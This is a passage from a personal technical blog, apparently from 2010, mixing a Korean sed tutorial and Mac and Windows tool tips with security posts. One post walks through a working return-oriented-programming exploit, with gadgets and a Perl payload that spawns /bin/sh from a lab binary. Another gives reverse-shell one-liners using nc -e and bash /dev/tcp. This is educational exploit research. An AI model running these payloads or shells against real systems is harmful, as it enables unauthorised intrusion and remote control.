SED 메뉴얼의 2탄!

5.4 SED의 커맨드

앞에서는 (안내서 1편은 여기 클릭) SED의 문법 중에 p, s 와 같은 커맨드를 알아 보았는데요, 그 외에는 d (delete), q (quit) 등의 커맨드가 더 존재합니다. 예제를 보면서 SED의 커맨드를 정리해 보겠습니다.
sed -n '1,10 p' input.txt
p 커맨드는 print (출력) 입니다. 즉, 위의 예제는 1번부터 10번째 라인까지만 프린트 하기입니다. (-n 옵션 때문에 매칭이 되는 1~10 라인 외에는 출력되지 않는다.) 만약 sed '1,10 p' 라고만 한다면, 1~10번째 라인이 출력된 후에 다시 1번부터 끝까지의 모든 라인이 출력됩니다.
sed -n '11,$ !p' input.txt
커맨드 앞에 ! (느낌표)를 붙여서 반대의 기능을 수행하는 경우가 있습니다. 즉 여기서, !p 는 매칭되는 라인에 대해서만 프린트를 하지 않는다 라는 뜻 입니다. 따라서 11번째 줄부터 끝까지에 대해서는 출력하지 않는 것이 되고, 출력하지 않는 다라는 전체 커맨드에 대해 -n 옵션이 붙어서 결국은 1~10번째 줄만 출력하라는 위의 예제와 동일한 결과를 나타내게 됩니다.
sed '11,$ d' input.txt
d 커맨드는 delete (삭제) 입니다. 즉, 위의 예제에서는 11번째 줄부터 끝까지에 대해서 삭제를 한 결과를 출력합니다. 다시 말해 1~10번 줄만을 출력하는 것으로 결국은 앞에서의 예제와 같은 기능입니다.
sed '1,10 !d' input.txt
역시 느낌표를 붙여서 1~10번 줄에 대해 삭제를 하지 않는다라는 것에 대한 결과로, 위의 예제 역시 1~10번 줄만을 출력하는 명령어 입니다. 차이점은 -n 옵션이 없더라도 삭제하지 않는 것에 대한 매칭인 1~10번 줄만 출력한다는 것이죠. 말이 좀 어렵긴 한데, 예를 들면 sed -n '1,10 !d' 는 아무것도 출력하지 않습니다.
sed -e '10,$ p' -e '5 q' input.txt
q는 quit (종료) 입니다. 즉, 간단하게 매칭되는 부분 까지 수행하고 매칭을 종료할 때 사용합니다. 위의 예제는 10번부터 끝까지 라인을 출력한 후에 그 결과에 대해서 앞의 5개의 라인만을 출력하는 예제입니다. '5 q'는 총 5개의 라인을 처리하고 종료하라는 뜻 입니다.
sed '10 r blah' input.txt
r은 read (읽기) 입니다. r 다음에 오는 문자열이 파일명을 나타냅니다. 즉 r blah는 blah 라는 파일을 읽으라는 뜻이고, 위에 예제에서는 input.txt 를 읽어서 출력을 하다가 10번째 라인에 도달하면 blah라는 파일을 읽어서 결과를 출력하게 됩니다. 즉, 최종 결과는 input.txt의 1~10번 라인이 나오고, blah 파일의 내용이 나온 뒤 다시 input.txt의 11번 부터 끝까지의 내용이 출력됩니다.
sed '1,5 w out.txt' input.txt
w는 write (쓰기) 입니다. r과 비슷하게 파일명이 커맨드 다음에 나오고, 매칭된 결과값을 파일에 쓸 수 있습니다. 위의 예제는 input.txt 의 1~5번 라인을 out.txt 에 저장하는 예제 입니다.
sed '1,5 a hello' input.txt


a는 append (덧붙이기) 입니다. a 커맨드 다음의 문자열을 매칭된 패턴 다음에 붙이는 역할을 합니다. 위의 예제에서는 1~5번 라인에 대해 hello라는 문자열 줄을 삽입하는 예제 입니다.
sed '1,5 i hello' input.txt

a가 패턴 다음에 붙이는 역할이라면, i는 패턴 이전에 삽입하는 역할입니다 (insert). 즉 위의 예제는 1~5번 줄에 대하여 hello라는 문자열 줄을 input.txt의 1~5번 각각의 줄의 이전에 삽입하는 역할 입니다.
sed '/abc/ c hello' input.txt

c는 줄 전체를 바꾸는 (change) 커맨드 입니다. 즉 매칭된 패턴이 있는 줄을 c 다음에 오는 문자열로 치환하는 것이죠. 위의 예제에서는 abc라는 패턴이 존재하는 줄에 대하여 그 줄을 hello라는 문자열로 치환합니다.

이밖에 s는 치환 (substitute)을 나타내며, 튜토리얼 1탄에서 자세히 다루었으므로 생략합니다.

5.5 그룹 지정

그룹 지정은 중괄호 {} 를 통해서 합니다. 여러개의 커맨드를 중괄호 사이에 묶어 한방에 처리할 수 있는 강력한 기능입니다. 단 주의할 점은 각 커맨드는 각각 새로운 줄에 위치해야만 한다는 것이죠. 다음의 예제는 1~5번 줄을 읽어서 abc패턴을 삭제하고 빈줄을 삭제한 뒤 해당 라인을 출력하는 예제입니다.
sed -n '1,5 {
    s/abc//
    /^$/ d
    p
    }' input.txt
6. 마치며

sed 문법은 자주 안쓰면 금방 또 잊게 되어서, 이렇게 정리해 보았습니다. 다음엔 awk를 정리해 봐야겠습니다.
2010/06/21 18:40 2010/06/21 18:40
Posted by 차상길.
TAGS ,

This is good for blogging!

http://quickhighlighter.com/
2010/05/05 22:11 2010/05/05 22:11
Posted by 차상길.

This is a brief introduction to a cool little technique of buffer overflow exploit with the following conditions: the stack is not executable, the stack address is randomized, and the libc address is also randomized. In other words, we cannot simply use return-to-stack and return-to-libc.

A vulnerable program that I am going to use is a modified version of gera's in [1]. Here, we do not have stack canary protection, but I am going to make it much harder by modifying the code a little bit: adding an exit system call, and employing stack and libc address randomization (ASLR). The modified version is shown below:

  1. #include <string.h>
  2. #include <stdlib.h>
  3. #include <stdio.h>
  4.  
  5. int func(char *msg) {
  6.     char buf[80];
  7.  
  8.     strcpy(buf,msg);
  9.     buf[0] = toupper(buf[0]);
  10.     strcpy(msg,buf);
  11.     printf("Caps: %s\n",msg);
  12.     exit(1);
  13. }
  14.  
  15. int main(int argv, char** argc) {
  16.         func(argc[1]);
  17. }


1. Vulnerability
    There is a classic strcpy vulnerability in the func function. Two consecutive strcpy call enables us to write arbitrary values in an arbitrary address: first, modify the value of the msg from the first strcpy, and then write arbitrary values from the second strcpy. Note that overwriting the return address of func is not enough because it is protected with exit system call. It is more clear if you look at the disassembled version of the program:

  1. 080484b4 <func>:
  2.  80484b4:       55                      push   %ebp
  3.  80484b5:       89 e5                   mov    %esp,%ebp
  4.  80484b7:       83 ec 58                sub    $0x58,%esp
  5.  80484ba:       8b 45 08                mov    0x8(%ebp),%eax
  6.  80484bd:       89 44 24 04             mov    %eax,0x4(%esp)
  7.  80484c1:       8d 45 b0                lea    -0x50(%ebp),%eax
  8.  80484c4:       89 04 24                mov    %eax,(%esp)
  9.  80484c7:       e8 04 ff ff ff          call   80483d0 <strcpy@plt>
  10.  80484cc:       0f b6 45 b0             movzbl -0x50(%ebp),%eax
  11.  80484d0:       0f be c0                movsbl %al,%eax
  12.  80484d3:       89 04 24                mov    %eax,(%esp)
  13.  80484d6:       e8 d5 fe ff ff          call   80483b0 <toupper@plt>
  14.  80484db:       88 45 b0                mov    %al,-0x50(%ebp)
  15.  80484de:       8d 45 b0                lea    -0x50(%ebp),%eax
  16.  80484e1:       89 44 24 04             mov    %eax,0x4(%esp)
  17.  80484e5:       8b 45 08                mov    0x8(%ebp),%eax
  18.  80484e8:       89 04 24                mov    %eax,(%esp)
  19.  80484eb:       e8 e0 fe ff ff          call   80483d0 <strcpy@plt>
  20.  80484f0:       8b 45 08                mov    0x8(%ebp),%eax
  21.  80484f3:       89 44 24 04             mov    %eax,0x4(%esp)
  22.  80484f7:       c7 04 24 00 86 04 08    movl   $0x8048600,(%esp)
  23.  80484fe:       e8 dd fe ff ff          call   80483e0 <printf@plt>
  24.  8048503:       c7 04 24 01 00 00 00    movl   $0x1,(%esp)
  25.  804850a:       e8 e1 fe ff ff          call   80483f0 <exit@plt>
  26.  
  27. 0804850f <main>:
  28.  804850f:       8d 4c 24 04             lea    0x4(%esp),%ecx
  29.  8048513:       83 e4 f0                and    $0xfffffff0,%esp
  30.  8048516:       ff 71 fc                pushl  -0x4(%ecx)
  31.  8048519:       55                      push   %ebp
  32.  804851a:       89 e5                   mov    %esp,%ebp
  33.  804851c:       51                      push   %ecx
  34.  804851d:       83 ec 14                sub    $0x14,%esp
  35.  8048520:       8b 41 04                mov    0x4(%ecx),%eax
  36.  8048523:       83 c0 04                add    $0x4,%eax
  37.  8048526:       8b 00                   mov    (%eax),%eax
  38.  8048528:       89 04 24                mov    %eax,(%esp)
  39.  804852b:       e8 84 ff ff ff          call   80484b4 <func>
  40.  8048530:       83 c4 14                add    $0x14,%esp
  41.  8048533:       59                      pop    %ecx
  42.  8048534:       5d                      pop    %ebp
  43.  8048535:       8d 61 fc                lea    -0x4(%ecx),%esp
  44.  8048538:       c3                      ret

2. Observation and Strategy
    We can only modify a single memory region, but it must not be the return address because of the exit system call. There are several possible spots including dtors and GOT. In this example, I am going to overwrite GOT entry of printf function. GOT is typically in the code section of a program and its address is not randomized.

    Now we can hijack the control flow when the printf is called, so the next step is to determine where to jump. We cannot simply return to libc because its address is randomized (we are not going to use brute force here). However, we know that the code section's addresses are fixed, and we are going to use return-oriented programming technique described introduced by Hovav [2]. In this problem, we can only use the code section of this small program, thus there is very small number of gadgets available.

   The return-oriented program that we are going to design runs as follows: 1) retrieve an address to libc's strcpy function from the GOT, 2) compute the relative address from strcpy function to system function, 3) obtain the address of the system function from the step 1 and 2, 4) set up the stack to have a pointer to "/bin/sh" string, 5) jump to the system function using indirect call (call *%eax).

3. Gadgets

    We are going to use the following 4 gadgets that we can find from the code section to perform the exploitation.

    1)
  1. 0x80485a2 <__libc_csu_init+82>: add    $0xc,%esp
  2. 0x80485a5 <__libc_csu_init+85>: pop    %ebx
  3. 0x80485a6 <__libc_csu_init+86>: pop    %esi
  4. 0x80485a7 <__libc_csu_init+87>: pop    %edi
  5. 0x80485a8 <__libc_csu_init+88>: pop    %ebp
  6. 0x80485a9 <__libc_csu_init+89>: ret

    2)
  1. 0x804838c <_init+44>:   pop    %eax
  2. 0x804838d <_init+45>:   pop    %ebx
  3. 0x804838e <_init+46>:   leave  
  4. 0x804838f <_init+47>:   ret

    3)
  1. 0x80485ce <__do_global_ctors_aux+30>:   add    0xf475fff8(%ebx),%eax
  2. 0x80485d4 <__do_global_ctors_aux+36>:   add    $0x4,%esp
  3. 0x80485d7 <__do_global_ctors_aux+39>:   pop    %ebx
  4. 0x80485d8 <__do_global_ctors_aux+40>:   pop    %ebp
  5. 0x80485d9 <__do_global_ctors_aux+41>:   ret

    4)
  1. 0x80484af <frame_dummy+31>:     call   *%eax

4. Final Exploit
     Using the above four gadgets, I introduce the following exploit. Note this exploit is not just a simple return-oriented programming exploit, there are many techniques involved:
    1) It dynamically retrieves system function's address from the GOT
    2) changes the ebp register to point to the bss section so that we can control the esp and ebp continuously.
    3) Set up the stack address to have enough space for system call.

   First, the second gadget sets up the eax and ebx values that are used in the third gadget to compute the system function's address. The result of the "add 0xf475fff8(%ebx), %eax" instruction must produce the address of system function in libc. Specifically, 0xf475fff8(%ebx) must point to the strcpy's GOT entry, so the strcpy's address in libc is added with the value in eax register.

    Changing the ebp register in the first gadget is the most tricky part. In the first gadget, we set up the ebp to point to a writable bss section (More precisely, beyond the bss section). Since the address of 0x804a2e8 is a writable region, we can set the address for ebp and esp. In the second gadget, we can set up the esp value by using the leave instruction. Thus after the second gadget, both the ebp and the esp will point to the addresses of the bss section.

    The final exploit in perl is shown below:

  1. print "\xa2\x85\x04\x08" . # First Gadget
  2. "AAAAAAAA" . # dummy
  3. "\xe8\xa2\x04\x08" . # set ebp, poing to line 9 of this exploit string
  4. "\x8c\x83\x04\x08" . # Second gadget
  5. "\xc0\x52\xfc\xff" ."\x14\xa0\x8e\x13AAAA" . "/bin/sh;"  . "A"x48 .
  6. "\x10\xa0\x04\x08" . # GOT entry address of printf
  7. "\x30\xa0\x04\x08"x0xa0 . # dummy
  8. "\xce\x85\x04\x08" .
  9. "\x30\xa0\x04\x08"x0x2 . # dummy
  10. "\x30\xa0\x04\x08" . # dummy ebp
  11. "\xaf\x84\x04\x08" . # call *%eax
  12. "\x30\xa0\x04\x08";

I also attach the binary file for people who are interested. :)
(Download)

5. Conclusion
    There are many possible way of bypassing ASLR protections. Here, I present a way to exploit the return-oriented programming technique in a very limited environment: small code space, randomized stack and randomized libc.
2010/05/05 22:06 2010/05/05 22:06
Posted by 차상길.

The Usable Windows

2010/05/03 01:40 / Windows
This is my collection of things to make my Windows system more usable.
The list can be updated at any time.

1. gVim (http://vim.org)
    Set up the path environment (c:\program files\vim\vim72)

2. Python (http://python.org)
    Set up the path env (c:\Python26)

3. msls (http://utools.com/msls.asp)
    copy ls and grep to c:\windows\system32

    Add Environment variable:
    LS_OPTIONS=-bhAC --more --color=auto --recent --streams
    GREP_OPTIONS=--binary-files=text -d skip --color=auto

4. 7-zip (http://www.7-zip.org/)
    Compressor/Decompressor

5. MinGW (http://mingw.org)
    Set up the path env (c:\MinGW\bin)
   Download libexpat-1 and gdb from the same site and install them in the same directory

6. Gom Player (http://www.gomlab.com/eng/GMP_download.html)

7. Bash (compiler for windows) (http://www.steve.org.uk/Software/bash/)
    This is an awesome work by Steve Kemp. We can run bash without cygwin :)
    Set up the path env.

8. Useful Windows commands: http://ss64.com/nt/

2010/05/03 01:40 2010/05/03 01:40
Posted by 차상길.

When we install the gnuplot on Mac OS X from the source code, we encounter this strange error message:
Undefined symbols:
"_rl_forced_update_display", referenced from:
_restore_prompt in command.o
"_rl_ding", referenced from:
_alert in mouse.o
"_history_list", referenced from:
_write_history_list in history.o
"_rl_complete_with_tilde_expansion", referenced from:
_rl_complete_with_tilde_expansion$non_lazy_ptr in plot.o
"_rl_reset_after_signal", referenced from:
_main in plot.o
...
This error is due to the readline library in Mac OS X.
If you look at the /usr/lib/libreadline.dylib file, the symlink is pointing at a library file that we do not know. (Seems not familiar to me) Thus, we can solve this problem by installing libreadline from the source, and change the symlink properly. In my case:
sudo ln -s /usr/local/lib/libreadline.6.1.dylib /usr/lib/libreadline.dylib


2010/04/23 03:40 2010/04/23 03:40
Posted by 차상길.

There are two possible ways to do objdump in Mac OS X: 1) install GNU binutils; 2) use otool.

1) Install GNU binutils from the source (download), or from the MacPort.

2) Use otool, the Mac OS X native utility. I summarize the usage of otool in the following:

disassemble text sections (= objdump -j .text -d <file>)
otool -tV <file>
disassemble a section (= objdump -j <section> -d <file>)
otool -V -s __text <section> <file>
print out the shared library dependencies (= ldd <file>)
otool -L <file>
print out the data sections (= objdump -j .data -s <file>)
otool -dv <file>

2010/04/22 04:28 2010/04/22 04:28
Posted by 차상길.

Generating QR code

2010/04/18 21:23 / Miscellaneous
QR code is a 2-dimensional bar code. I found a good QR code generator, which is open-source. Here is a link for the QR code library/program (libqrencode): http://megaui.net/fukuchi/works/qrencode/index.en.html

The usage is extremely easy. If you want to generate a png file for a URL (http://divine-protection.com) you can do the following:
./qrencode -o divine-protection.com.png http://divine-protection.com

The following is a QR code for "divine-protection.com". If you have a QR code reader in your smart phone, you can easily visit my website by taking a photo of this code. :)

사용자 삽입 이미지

2010/04/18 21:23 2010/04/18 21:23
Posted by 차상길.
TAGS

netcat (nc) is a utility for arbitrary TCP and UDP connections and listens. According to the nc manual, -e option specifies filename  to exec after connect. Thus in general, we can easily make reverse shell by using this command:
nc <addr> <port> -e /bin/sh
However, nc on Mac does not have -e option.
Instead, Mac has enabled their bash network redirection (/dev/tcp or /dev/udp). Thus instead of using nc for reverse binding shell, we can simply use this command:
/bin/bash 0</dev/tcp/addr/port 1>&0 2>&0
Note this technique will not work on default Debian machines. You have to enable bash network redirection to use this.

Useful reference: http://shudder.daemonette.org/source/BashNP-Guide.txt
2010/03/20 22:28 2010/03/20 22:28
Posted by 차상길.

Codegate 2010

2010/03/14 16:34 / Hacking
We pwned the codegate 2010 prequalification round!

The problems were really in high quality. I had so much fun. Thanks to the people who organized this awesome competition. Since we are going to make our own write-up, I am not write about the problems here.

Anyway I must say that I liked this problem where there was a virtual machine program. It was really hard until we realized the hash algorithm uses tiny encryption algorithm, which has hash collision vulnerability. It was really inspiring one. Also, the sql-injection one was really funky. :)
2010/03/14 16:34 2010/03/14 16:34
Posted by 차상길.

omg...
I just realized that there are amazing apps in my Mac by default. (if you installed xcode)

Launch your terminal, and run this...
open /Library/Application\ Support/Shark/Helpers/
사용자 삽입 이미지

Seriously, this is why Mac is awesome.

reference:
http://rentzsch.com/macosx/readISAReferencesDirectly
2010/02/24 23:02 2010/02/24 23:02
Posted by 차상길.